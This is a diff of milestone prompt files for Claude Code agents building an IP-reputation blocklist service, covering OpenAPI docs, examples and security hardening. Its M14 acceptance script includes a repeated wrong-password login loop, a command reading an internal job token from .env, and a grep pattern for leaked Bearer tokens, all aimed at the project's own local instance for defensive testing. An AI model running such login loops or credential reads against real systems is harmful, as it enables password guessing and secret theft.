+echo "$RESP" | grep -q '"INTERNAL_JOB_TOKEN":"\*\*\*"'
+echo "$RESP" | grep -q '"DB_DRIVER":"sqlite"'
+
+# UI Settings page renders for admin
+curl -sf -b $COOKIE_JAR http://localhost:8080/app/settings | grep -qi "configuration"
+# Operator gets no-access page
+# (manual: log out and back in as an operator-mapped user, verify /app/settings shows no-access)
+
+# Audit list page filters
+curl -sf -b $COOKIE_JAR "http://localhost:8080/app/audit?action=manual_block.created" > /dev/null
+
+docker compose down -v
+```
+
+## Handoff
+
+1. Commit:
+   ```
+   feat(M12): audit log emitter, filterable audit UI, settings page
+
+   - AuditEmitter wired into every write path
+   - service-token+impersonation audits attribute to user, not service token
+   - GET /api/v1/admin/audit-log with filters, pagination
+   - POST /api/v1/admin/jobs/trigger/{name} as admin wrapper around internal jobs
+   - GET /api/v1/admin/config (secrets masked) and jobs/status
+   - UI Audit and Settings pages
+   - [if applicable] user management UI + oidc role mappings UI
+   ```
+
+2. Append to `PROGRESS.md`:
+   ```markdown
+   ## M12 — Audit & settings (done)
+
+   **Built:** audit emission, audit UI, manual job trigger admin endpoint, settings page, [optional: user mgmt UI].
+
+   **Notes for next milestone:**
+   - Audit failures are logged but never fail the originating request.
+   - /api/v1/admin/jobs/trigger/{name} is the only path the UI uses to invoke jobs; /internal/jobs/* remains scheduler-only.
+   - Secrets-masked /admin/config is the source of truth for the settings page; M13 documentation references this endpoint.
+
+   **Deviations from SPEC:** none.
+   **Added dependencies:** none.
+   ```
+
+3. **Stop.** Do not start M13.

+ 205 - 0
doc/development/files/M13-polish-openapi-docs.md

@@ -0,0 +1,205 @@
+# M13 — Polish, OpenAPI, Documentation
+
+> Fresh Claude Code agent prompt. M12 must be complete and committed.
+> Estimated effort: large. Documentation is a real deliverable; budget time for accuracy.
+
+## Mission
+
+Generate `openapi.yaml` and serve it at `/api/v1/openapi.yaml` plus a viewer at `/api/docs`. Write the README with quickstart and operational guides. **Write every `doc/*.md` file as specified in `SPEC.md` §16.** Ship sample reporter scripts and firewall consumer configs in `examples/`. By the end, a fresh clone goes from `git clone` to a working blocklist via documented steps in under 10 minutes.
+
+## Before you start
+
+1. Verify M12:
+   ```bash
+   git log --oneline -12
+   cd api && composer test && cd ..
+   cd ui  && composer test && cd ..
+   ```
+2. Read **`SPEC.md` §16 in full**. The required outline of each `doc/*.md` is the contract for this milestone. Outline-skipping is a hard fail.
+3. Skim `SPEC.md` §3 (architecture, for the Mermaid diagram you'll embed in `doc/architecture.md`), §6 (API surface for OpenAPI), §8 (auth flows for `doc/auth-flows.md`).
+
+## Tasks
+
+### 1. OpenAPI spec
+
+Place at `api/public/openapi.yaml`. Generate, don't hand-write — but also don't pull in a heavy framework. Two acceptable approaches:
+
+- **Annotation-based**: use `zircote/swagger-php` to generate from PHP attributes on the controllers. Add the dep, sprinkle attributes, run `vendor/bin/openapi src -o public/openapi.yaml` as a composer script. CI runs this and fails if the result doesn't match what's committed.
+- **Hand-curated**: a single `api/openapi.yaml.template.php` file that produces the YAML from PHP code (a structured array you serialize). Simpler; less boilerplate.
+
+Pick one and document the choice in PROGRESS.md.
+
+Coverage:
+- All Public endpoints (`/api/v1/report`, `/api/v1/blocklist`).
+- All Admin endpoints (`/api/v1/admin/*`).
+- All Auth endpoints with `x-internal: true` extension and a clear "UI BFF only" description.
+- **Do not** document `/internal/jobs/*` — those are private. Mention in the spec description that they exist but are out of scope for the public contract.
+
+Schemas: define all request/response shapes (`Report`, `Blocklist`, `Token`, `Policy`, `User`, `AuditEntry`, error envelopes). Reuse via `$ref`.
+
+### 2. OpenAPI viewer
+
+Add a tiny route in `api/src/Application/Public/DocsController.php`:
+- `GET /api/v1/openapi.yaml` — serves the YAML file with `Content-Type: application/yaml`. Public; no auth.
+- `GET /api/docs` — serves an HTML page that loads Stoplight Elements or RapiDoc from a CDN-vendored npm static asset (no external CDN). Both are single-script viewers.
+
+Pick one (RapiDoc is smaller; Stoplight Elements is prettier). Document the choice.
+
+### 3. README
+
+Replace the M01 stub. New contents (in order):
+
+1. **One-paragraph elevator pitch** — what IRDB is, who it's for.
+2. **Quickstart** — the 5-minute path:
+   ```
+   git clone ...
+   cp .env.example .env
+   # edit .env: generate secrets, optionally configure OIDC
+   docker compose -f docker-compose.yml -f compose.scheduler.yml up -d
+   # browse to http://localhost:8080, log in
+   ```
+3. **Generating secrets** — the exact `openssl rand` and `php password_hash` commands.
+4. **First-time setup** — create a reporter, get a token, send a report; create a consumer, get a token, fetch the blocklist.
+5. **Reverse proxy setup** — point to `examples/reverse-proxy/Caddyfile`.
+6. **MySQL setup** — uncomment the section in compose; set `DB_DRIVER=mysql`.
+7. **OIDC setup** — point to `doc/oidc.md`.
+8. **Scheduling** — host cron, systemd timer, sidecar overlay; point to `examples/scheduler/`.
+9. **Backups** — what to back up: the `irdb-data` volume (or MySQL); how to restore.
+10. **Architecture** — point to `doc/architecture.md`.
+11. **API contract** — point to `/api/docs` viewer and `doc/api-overview.md`.
+12. **Replacing the UI** — for future Vue/native/mobile, point to `doc/frontend-development.md`.
+13. **License** — TBD (leave a placeholder).
+
+### 4. doc/ files (the real work)
+
+Write each file according to its required outline in `SPEC.md` §16. Quality bar applies: every snippet must run as-is against `docker compose up`; no TODOs; ≤500 lines per file.
+
+- `doc/architecture.md` — system overview, container topology (Mermaid), where state lives, stable-vs-replaceable surfaces table, why-this-split rationale.
+- `doc/api-overview.md` — base URL/versioning, auth summary, endpoint groups, common conventions (envelopes, pagination, ETag, rate limits, IP normalization), worked curl examples for: posting a report, pulling a blocklist (text + JSON), admin search via service-token impersonation, admin search via admin-kind token. Pointer to OpenAPI.
+- `doc/auth-flows.md` — overview table, sequence diagrams (Mermaid) for: machine reporter, admin token, UI BFF (OIDC + local), Entra setup walkthrough (extract from M08's `doc/oidc.md` and merge), local admin guidance, **future user-token flow sketch** marked NOT IMPLEMENTED, CSRF/sessions/CORS notes.
+- `doc/frontend-development.md` — the headline doc. Read-this-first; three integration patterns (BFF replacement, SPA + thin BFF, direct API + future user tokens) with worked pseudocode for the BFF replacement; minimum API surface checklist; CORS configuration; local dev (run only api, point a separate frontend dev server at it); migration path for swapping UIs at runtime; **what NOT to do** list (no business logic in frontend, no service token in browser, etc.).
+- `doc/api-reference.md` — short. Pointer to OpenAPI as canonical; documents what OpenAPI doesn't cleanly express: rate-limit headers, ETag semantics, the `X-Acting-User-Id` impersonation header convention, response envelope conventions for current and future batched endpoints.
+
+If `doc/oidc.md` was created in M08, **delete it** — its content goes into `doc/auth-flows.md` per `SPEC.md` §16.
+
+### 5. Examples
+
+In `examples/`:
+
+- `reporters/curl.sh` — a copy-paste shell script: takes an IP and category as args, posts a report. Reads `IRDB_URL` and `IRDB_TOKEN` from env.
+- `reporters/python.py` — same in Python. Single file, no deps beyond `urllib`. Example of a fail2ban-action wrapper inline as a comment.
+- `reporters/bash-fail2ban.sh` — drop-in fail2ban action.
+- `consumers/iptables-restore.sh` — pulls the blocklist, builds an `ipset`, atomic-replace via `ipset restore`.
+- `consumers/nginx-deny-include.sh` — pulls and writes an `include` file with `deny` directives, reloads nginx.
+- `consumers/haproxy-acl.sh` — pulls and updates an HAProxy ACL file.
+- `scheduler/host.crontab`, `scheduler/irdb-tick.service`, `scheduler/irdb-tick.timer` — already stubbed in M01, fill in real content.
+- `reverse-proxy/Caddyfile` — production-ready Caddy config fronting api and ui.
+
+Each script has a header comment explaining usage. Each is shell-checked (run shellcheck) and tested at least manually.
+
+### 6. End-to-end demo test
+
+Add `tests/e2e/demo.sh` (and a CI job that runs it) that automates the README quickstart:
+1. `docker compose -f ... up -d`
+2. Generate admin token via CLI
+3. Create reporter + consumer + tokens
+4. Submit reports
+5. Trigger recompute job
+6. Pull blocklist; assert non-empty
+7. `docker compose down -v`
+
+### 7. Doc accuracy CI check
+
+Add a CI job that:
+- Greps `doc/*.md` for endpoint paths; compares against the OpenAPI document. Any path in docs not in the spec → fail. (The other direction is OK; not every endpoint needs prose.)
+- Greps for token kind strings (`reporter`, `consumer`, `admin`, `service`); ensures spelling matches code.
+- Optional: dead-link checker on the docs.
+
+## Implementation notes
+
+- **Mermaid in GitHub-rendered Markdown**: use `mermaid` fenced code blocks. Test by rendering the file on a GitHub PR.
+- **Pseudocode in frontend-development.md**: keep it language-neutral or use a minimal Node/Express snippet that's clearly a sketch, not a runnable thing. The point is the pattern, not a working app.
+- **Avoid screenshots**: explicitly forbidden by SPEC §16 quality bar — they go stale.
+- **OpenAPI versioning**: declare `version: 1.0.0` in the spec; bump for breaking changes. Document the additive-only policy.
+- **Don't describe what doesn't exist**: every claim in docs must match the as-built code. If you find a discrepancy mid-writing, **fix the code**, not the docs.
+
+## Out of scope (DO NOT)
+
+- Marketing site / landing page. README is enough.
+- Versioned docs site (Docusaurus, MkDocs). The Markdown files in `doc/` are the docs.
+- Auto-generating client SDKs. Future work.
+- Tutorials beyond the quickstart in README. The doc files are reference, not tutorials.
+- Adding new endpoints. If something feels needed for docs that isn't in the code, stop and reconsider.
+- New dependencies beyond `zircote/swagger-php` (if you go that route). Record in PROGRESS.md.
+
+## Acceptance
+
+```bash
+cd api && composer cs && composer stan && composer test && cd ..
+cd ui  && composer cs && composer stan && composer test && cd ..
+
+# OpenAPI is valid
+docker run --rm -v "$(pwd)/api/public:/spec" \
+  redocly/cli:latest lint /spec/openapi.yaml
+
+# Doc files exist and are non-empty
+for f in architecture api-overview auth-flows frontend-development api-reference; do
+  test -s "doc/$f.md" || { echo "missing or empty: doc/$f.md"; exit 1; }
+done
+
+# Each doc file is ≤500 lines
+for f in doc/*.md; do
+  L=$(wc -l < "$f"); [ "$L" -le 500 ] || { echo "$f too long: $L lines"; exit 1; }
+done
+
+# Doc accuracy: no stale endpoints
+# (run the CI check script you wrote)
+./scripts/check-doc-endpoints.sh
+
+# E2E demo script
+docker compose down -v
+./tests/e2e/demo.sh
+docker compose down -v
+
+# /api/docs serves a viewer
+docker compose up -d
+sleep 15
+curl -sf http://localhost:8081/api/v1/openapi.yaml | grep -q "openapi:"
+curl -sf http://localhost:8081/api/docs | grep -qE "(rapi-doc|stoplight|elements)"
+docker compose down -v
+
+# Examples are shellcheck-clean
+shellcheck examples/reporters/*.sh examples/consumers/*.sh examples/scheduler/host.crontab 2>/dev/null || true
+```
+
+## Handoff
+
+1. Commit:
+   ```
+   feat(M13): polish — OpenAPI, README, doc/, examples, e2e demo
+
+   - openapi.yaml served at /api/v1/openapi.yaml; /api/docs viewer
+   - README with quickstart, OIDC pointer, scheduler options, backups
+   - doc/{architecture,api-overview,auth-flows,frontend-development,api-reference}.md
+   - examples/{reporters,consumers,scheduler,reverse-proxy} with shell-checked scripts
+   - tests/e2e/demo.sh: clone-to-blocklist in ~10 minutes
+   - CI: openapi validation, doc-endpoint accuracy check
+   ```
+
+2. Append to `PROGRESS.md`:
+   ```markdown
+   ## M13 — Polish, OpenAPI, docs (done)
+
+   **Built:** OpenAPI + viewer; README; all five doc files per SPEC §16; examples; e2e test.
+
+   **Notes for next milestone:**
+   - OpenAPI generation is via [zircote/swagger-php OR hand-curated array]; the source is `<path>`.
+   - Doc CI guard: ./scripts/check-doc-endpoints.sh
+   - examples/ scripts use IRDB_URL and IRDB_TOKEN env vars; document this convention.
+   - The "future user-token flow" in doc/auth-flows.md is the recommended extension point for SPA/native/mobile UIs.
+
+   **Deviations from SPEC:** none.
+   **Added dependencies:** [zircote/swagger-php if applicable]
+   ```
+
+3. **Stop.** Do not start M14.

+ 243 - 0
doc/development/files/M14-hardening.md

@@ -0,0 +1,243 @@
+# M14 — Security Hardening
+
+> Fresh Claude Code agent prompt. M13 must be complete and committed.
+> Estimated effort: medium.
+
+## Mission
+
+Harden both containers: security headers, full brute-force lockout for local admin, audit secret-scrubbing in logs, token entropy verification, backup guidance verification, expired-manual-block cleanup. By the end, a security review checklist passes.
+
+## Before you start
+
+1. Verify M13:
+   ```bash
+   git log --oneline -13
+   ```
+2. Read `SPEC.md` §8 (auth, especially CSRF/sessions), §10 (backup notes), §12 M14 (the hardening milestone — your reference).
+3. The OWASP top 10 is a useful mental model for this milestone. Don't take it as a checklist; do treat it as "did I think about each of these?"
+
+## Tasks
+
+### 1. Security headers
+
+In both `api` and `ui` Caddy configs, add a header bundle on every response:
+
+- `Strict-Transport-Security: max-age=31536000; includeSubDomains` — only when `APP_ENV=production`. Don't HSTS in dev or you'll lock yourself out of localhost.
+- `X-Content-Type-Options: nosniff`
+- `X-Frame-Options: DENY` (UI) / `X-Frame-Options: SAMEORIGIN` (api)
+- `Referrer-Policy: strict-origin-when-cross-origin`
+- `Permissions-Policy: geolocation=(), microphone=(), camera=()`
+- **CSP for the UI**:
+  - `default-src 'self'`
+  - `script-src 'self' 'wasm-unsafe-eval'` (Alpine doesn't need `unsafe-eval`; only allow it if a build dep demands it)
+  - `style-src 'self' 'unsafe-inline'` (Tailwind compiled, but inline styles for dynamic things like score bars)
+  - `img-src 'self' data:` (data: for tiny inline icons)
+  - `connect-src 'self' <API_BASE_URL>` if the UI ever does direct browser→api calls (it doesn't today; but htmx might add one)
+  - `frame-ancestors 'none'`
+  - `base-uri 'self'`
+  - `form-action 'self'`
+  - Test that the UI doesn't violate its own CSP. Run a browser, check the console, fix any violations by either tightening the page's HTML or relaxing CSP minimally with comment justification.
+
+- **CSP for the api**: very restrictive (`default-src 'none'; frame-ancestors 'none'`) since the api serves only JSON, the OpenAPI viewer, and YAML. The `/api/docs` page does need styles+scripts for RapiDoc/Elements; relax CSP only on that route.
+
+### 2. Local admin brute-force lockout (full)
+
+Replace M08's basic 5/30s throttle with a persistent lockout:
+
+- Track failed attempts per `(LOCAL_ADMIN_USERNAME, source_ip)` pair in a small in-memory store (singleton service in the ui container) plus the session.
+- Failure progression: 1–4 failures fast retry; 5 failures → 1-minute lockout; 10 → 5-minute lockout; 15+ → 30-minute lockout. Reset the counter on a successful login.
+- Lock by username AND by IP separately so attackers can't lock out the legitimate admin from another IP.
+- Log every failure at WARN, every lockout at ERROR, with the source IP. Don't log the attempted password.
+- Document in `doc/auth-flows.md` (update from M13) — including how to clear a lockout (restart the ui container, since this is in-memory; the lockout is intentionally short enough that this is rarely needed).
+
+### 3. Token entropy verification
+
+In `api/tests/Unit/Auth/`:
+
+- `TokenEntropyTest.php` — generates 1000 tokens, asserts ≥160 bits of unique randomness (in practice, all-distinct).
+- Verifies the format `irdb_<3>_<32 base32 chars>`.
+- Confirms `random_bytes` (CSPRNG) is the source.
+
+### 4. Logs scrubbed of secrets
+
+- Audit all log output paths. Search the codebase for places that might log:
+  - Bearer tokens (any `Authorization` header content).
+  - `LOCAL_ADMIN_PASSWORD_HASH`.
+  - `OIDC_CLIENT_SECRET`.
+  - `MAXMIND_LICENSE_KEY`.
+  - Database passwords.
+- Add a Monolog processor that scrubs known-sensitive keys from the context array before formatting. Pattern:
+  ```
+  ['authorization' => 'Bearer abc...'] → ['authorization' => 'Bearer ***']
+  ```
+- Add a test that constructs a log record with a Bearer token in context and asserts the formatted output is scrubbed.
+
+### 5. Expired manual block cleanup
+
+A small loose end from M06: manual blocks have `expires_at` but nothing prunes expired ones. Two approaches:
+
+- **Filter at read time**: every read of `manual_blocks` ignores rows with `expires_at < now`. The CidrEvaluator already could do this — verify and fix if not. Pros: zero new infrastructure. Cons: rows accumulate.
+- **Add a cleanup job**: register `CleanupExpiredManualBlocksJob` that deletes them daily.
+
+Recommended: do both. Filter at read for correctness, prune in a daily job for tidiness.
+
+If adding a job: register it, add an audit entry per delete, verify with a test.
+
+### 6. Rate limiting beyond the public API
+
+- The current rate limiter applies only to public API endpoints. Add a soft limit to login attempts on the UI (covered by §2 above).
+- Consider whether admin endpoints need a limit. Real abuse on admin endpoints is rare (Bearer-authed humans/UI). Leave admin unrated unless you measure a problem.
+- Document the rate-limit posture in `doc/api-overview.md` (update from M13).
+
+### 7. Backups
+
+Verify M13's README has clear instructions for:
+
+- **SQLite + Docker volume**: `docker run --rm -v irdb-data:/data -v $(pwd):/backup alpine tar czf /backup/irdb-backup.tar.gz -C /data .` — describe the equivalent restore.
+- **MySQL**: `mysqldump` example via `docker compose exec`.
+- **Restore**: the inverse, with the api container stopped during restore.
+- **What to NOT back up**: rotating tokens (they're recoverable), GeoIP DBs (re-downloadable).
+
+Add to `doc/architecture.md` (update from M13): a "Disaster Recovery" subsection covering the same.
+
+### 8. Secrets at rest verification
+
+- Confirm tokens are never stored in plaintext (M03 work; verify with a manual SQL inspection).
+- Confirm no secret values appear in `audit_log.payload`.
+- Confirm `/api/v1/admin/config` masks all the secrets it should (M12).
+- Add a regression test that scans the schema for any column literally named `password` or containing `_secret` and asserts none store unhashed values (best-effort sanity check).
+
+### 9. Dependency vulnerability scan
+
+- Add a CI job: `composer audit` (PHP) and `npm audit --omit=dev` (UI). Fail on critical/high.
+- Document the policy: when an audit fails, an admin reviews and either patches or accepts with a documented exception.
+
+### 10. Final security review checklist
+
+Add `doc/security.md` capturing the actual posture: authn, authz, transport, data at rest, secrets management, logging, rate limits, supply chain. Concrete, factual, ≤300 lines. Do **not** make claims you can't back up.
+
+## Implementation notes
+
+- **CSP iteration**: enable in "Report-Only" mode first if you want a faster cycle (`Content-Security-Policy-Report-Only`), check the browser console, then switch to enforcing.
+- **HSTS gotcha**: HSTS is sticky in browsers. If you turn it on in dev with `localhost`, you may break local development for yourself. Gate strictly on `APP_ENV=production`.
+- **Brute-force lockout vs UX**: too aggressive = legit admins lock themselves out. The 1/5/30 progression is moderate. Don't go to "permanent ban" — the local admin path is a recovery channel, not a daily-use channel.
+- **Auditing the auditor**: changes to `audit_log` config (retention, etc.) should themselves be audited. Verify the M12 emitter wraps any settings endpoint that touches audit retention.
+- **Don't introduce new attack surface in the name of "hardening"**: e.g., don't add a "lockout-clear" endpoint reachable from the API. Reset is via container restart; that's safer.
+
+## Out of scope (DO NOT)
+
+- WAF rules, IPS integration, fail2ban for the admin UI itself. Out of scope.
+- 2FA on local admin. Use OIDC for that.
+- mTLS between containers. The Docker network isolation is the trust boundary; documenting that is enough.
+- Penetration test report. The agent is not a pentester.
+- Encryption at rest of the SQLite file. The volume's host-level disk encryption is the right layer.
+- Audit log signing / tamper-evidence. Future work.
+
+## Acceptance
+
+```bash
+cd api && composer cs && composer stan && composer test && cd ..
+cd ui  && composer cs && composer stan && composer test && cd ..
+
+# composer + npm audit
+cd api && composer audit && cd ..
+cd ui  && npm ci && npm audit --omit=dev && cd ..
+
+docker compose down -v
+cp .env.example .env
+docker compose up -d
+sleep 15
+
+# Security headers present on UI
+HEADERS=$(curl -sI http://localhost:8080/login)
+echo "$HEADERS" | grep -qi "X-Content-Type-Options: nosniff"
+echo "$HEADERS" | grep -qi "X-Frame-Options: DENY"
+echo "$HEADERS" | grep -qi "Content-Security-Policy:"
+echo "$HEADERS" | grep -qi "Referrer-Policy:"
+
+# Headers on API
+HEADERS=$(curl -sI http://localhost:8081/healthz)
+echo "$HEADERS" | grep -qi "X-Content-Type-Options: nosniff"
+echo "$HEADERS" | grep -qi "X-Frame-Options:"
+
+# In production mode, HSTS appears (skip if not testing prod)
+# HEADERS=$(APP_ENV=production curl -sI ...) — manual
+
+# Local admin lockout: 5 fails should trigger lockout
+COOKIE=$(mktemp)
+for i in 1 2 3 4 5; do
+  CSRF=$(curl -s -c $COOKIE http://localhost:8080/login | grep -oE 'name="csrf_token" value="[^"]+"' | cut -d'"' -f4)
+  curl -s -b $COOKIE -c $COOKIE -X POST \
+    -d "csrf_token=$CSRF&username=admin&password=WRONG" \
+    http://localhost:8080/login/local > /dev/null
+done
+CSRF=$(curl -s -c $COOKIE http://localhost:8080/login | grep -oE 'name="csrf_token" value="[^"]+"' | cut -d'"' -f4)
+RESP=$(curl -s -b $COOKIE -c $COOKIE -X POST \
+  -d "csrf_token=$CSRF&username=admin&password=test1234" \
+  http://localhost:8080/login/local -L)
+echo "$RESP" | grep -qi "locked\|too many\|wait"
+
+# Bearer tokens never appear unmasked in logs
+docker compose logs 2>&1 | grep -E "Bearer irdb_(rep|con|adm|svc)_[A-Z2-7]+" && \
+  { echo "TOKEN LEAKED IN LOGS"; exit 1; } || true
+
+# Token entropy test passes
+cd api && vendor/bin/phpunit --filter TokenEntropyTest && cd ..
+
+# Expired manual block test (insert one with a past expires_at, run cleanup, verify it's gone or filtered)
+ADMIN_TOKEN=$(docker compose exec -T api php bin/console auth:create-token --kind=admin --role=admin --quiet)
+INTERNAL_TOKEN=$(grep ^INTERNAL_JOB_TOKEN= .env | cut -d= -f2)
+curl -s -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d '{"kind":"ip","ip":"203.0.113.250","reason":"expired test","expires_at":"2020-01-01T00:00:00Z"}' \
+  http://localhost:8081/api/v1/admin/manual-blocks > /dev/null
+# Run cleanup if you added a job; otherwise just verify the read-time filter:
+curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
+  http://localhost:8081/api/v1/admin/manual-blocks | grep -v "203.0.113.250"
+
+# Quick CSP smoke test: load the UI in headless chrome (manual or via puppeteer in CI), no CSP violations
+# (omit if no headless browser available; rely on developer manual verification)
+
+docker compose down -v
+```
+
+## Handoff
+
+1. Commit:
+   ```
+   feat(M14): security hardening
+
+   - CSP, HSTS (prod), X-Content-Type-Options, X-Frame-Options, Referrer-Policy
+   - local admin brute-force lockout (1/5/30 progression, by user+ip)
+   - log scrubbing of Bearer tokens and known secrets via Monolog processor
+   - token entropy regression test
+   - expired manual block read-time filter + daily cleanup job
+   - composer audit + npm audit in CI
+   - doc/security.md describing posture; backup/restore in README and architecture.md
+   ```
+
+2. Append to `PROGRESS.md`:
+   ```markdown
+   ## M14 — Hardening (done)
+
+   **Built:** security headers, lockout, log scrubbing, audits, doc/security.md.
+
+   **Production checklist (run before exposing to internet):**
+   - APP_ENV=production
+   - Real OIDC tenant configured
+   - Strong LOCAL_ADMIN_PASSWORD_HASH or LOCAL_ADMIN_ENABLED=false
+   - Reverse proxy with TLS in front
+   - Backups configured
+   - composer audit / npm audit clean
+   - Logs piped to your aggregator
+   - MAXMIND_LICENSE_KEY set so refresh-geoip works
+   - Scheduler running (host cron / systemd / sidecar)
+
+   **Known limitations:**
+   - In-process rate limiter and lockout state are per-replica.
+   - Audit log is append-only but not tamper-evident; sign+chain is future work.
+   - No 2FA on local admin (use OIDC instead).
+
+   **Build complete.** All 14 milestones executed.
+   ```
+
+3. **Stop.** Final milestone reached.

+ 81 - 0
doc/development/files/README.md

@@ -0,0 +1,81 @@
+# Milestone Instructions
+
+Each `MXX-*.md` file in this directory is a self-contained prompt for a **fresh Claude Code session running Sonnet 4.6**. One agent process executes one milestone end-to-end, then stops.
+
+## Why fresh agents per milestone
+
+- Long agent runs accumulate context drift. By M8 a long-running agent would be making decisions based on a fuzzy memory of M2.
+- A fresh agent reading a focused prompt makes sharper decisions.
+- Hand-offs become explicit and reviewable: each milestone produces a commit and a `PROGRESS.md` entry the next agent reads.
+- If a milestone goes wrong, you re-run only that milestone. Nothing earlier is contaminated.
+
+## Setup (do this once, before M01)
+
+1. Place the master spec at the repo root as `SPEC.md`. Every milestone file references it by section number.
+2. Initialize git, create an empty `PROGRESS.md` at the repo root with a single header `# Build Progress`.
+3. Confirm the agent has access to: filesystem, shell, Docker, composer, npm, php.
+
+## Running a milestone
+
+For each `MXX-*.md` file in order:
+
+1. Open a new Claude Code session.
+2. Paste (or attach) the milestone file as the initial user message.
+3. Let the agent work. It will read `SPEC.md`, run verification commands, do the work, run acceptance commands, commit, and stop.
+4. Review the commit and the `PROGRESS.md` entry.
+5. If acceptance passes, move to the next file. If not, see "When a milestone fails."
+
+## Structure of each milestone file
+
+```
+# MXX — Title
+## Mission                 (what this milestone accomplishes, in 2-3 sentences)
+## Before you start        (prerequisites, verification commands)
+## Required reading        (specific SPEC.md sections)
+## Tasks                   (concrete checklist, in order)
+## Implementation notes    (patterns, gotchas, code shapes)
+## Out of scope            (DO NOT — explicit guardrails against scope creep)
+## Acceptance              (exact commands; all must pass before commit)
+## Handoff                 (commit message format, PROGRESS.md template)
+```
+
+## When a milestone fails
+
+If acceptance criteria don't pass:
+1. **Do not** start the next milestone. Out-of-order work is harder to fix than a stuck milestone.
+2. Read the agent's notes in chat and any partial `PROGRESS.md` updates.
+3. Either: (a) start a new fresh agent with the same milestone file plus a brief note about what went wrong, or (b) hand-fix and commit, then update `PROGRESS.md` manually.
+4. Only proceed when the current milestone's acceptance commands all pass.
+
+## Order
+
+| #   | File                                       | Builds on   |
+|-----|--------------------------------------------|-------------|
+| M01 | `M01-monorepo-skeleton.md`                 | —           |
+| M02 | `M02-database-migrations.md`               | M01         |
+| M03 | `M03-api-auth-foundations.md`              | M02         |
+| M04 | `M04-token-system-and-ingest.md`           | M03         |
+| M05 | `M05-reputation-engine-and-jobs.md`        | M04         |
+| M06 | `M06-manual-blocks-allowlist.md`           | M05         |
+| M07 | `M07-policies-and-distribution.md`         | M06         |
+| M08 | `M08-ui-scaffold-and-auth.md`              | M07         |
+| M09 | `M09-ui-ips-history-dashboard.md`          | M08         |
+| M10 | `M10-ui-admin-crud-pages.md`               | M09         |
+| M11 | `M11-enrichment.md`                        | M07         |
+| M12 | `M12-audit-and-settings.md`                | M10, M11    |
+| M13 | `M13-polish-openapi-docs.md`               | M12         |
+| M14 | `M14-hardening.md`                         | M13         |
+
+M11 (enrichment) only structurally depends on M07; it can be run in parallel with M08–M10 if you have multiple agents available, but the simpler thing is sequential execution.
+
+## Common rules — every milestone obeys these
+
+These are repeated in each file but worth stating once here:
+
+- **Read `SPEC.md` before doing anything.** It is the source of truth. The milestone file is a focused execution plan, not a full design document.
+- **Stay in scope.** Each milestone has explicit "out of scope" items. If you encounter something that feels like it should be done now but isn't listed in tasks, it belongs to a later milestone or is intentionally deferred.
+- **Stop and ask** if a requirement is ambiguous, contradicts `SPEC.md`, or appears wrong once you're in the code. Do not paper over it. Stopping mid-milestone is correct behavior in that case.
+- **No new dependencies** without justifying them in `PROGRESS.md`. The `SPEC.md` tech stack is non-negotiable.
+- **Tests must pass** before commit. Linters too. PHPStan level 8 on `src/` and php-cs-fixer.
+- **One commit per milestone**, conventional-commit style. Include the milestone number.
+- **Update `PROGRESS.md`** at the end with: what was built, what was deferred, anything the next milestone should know.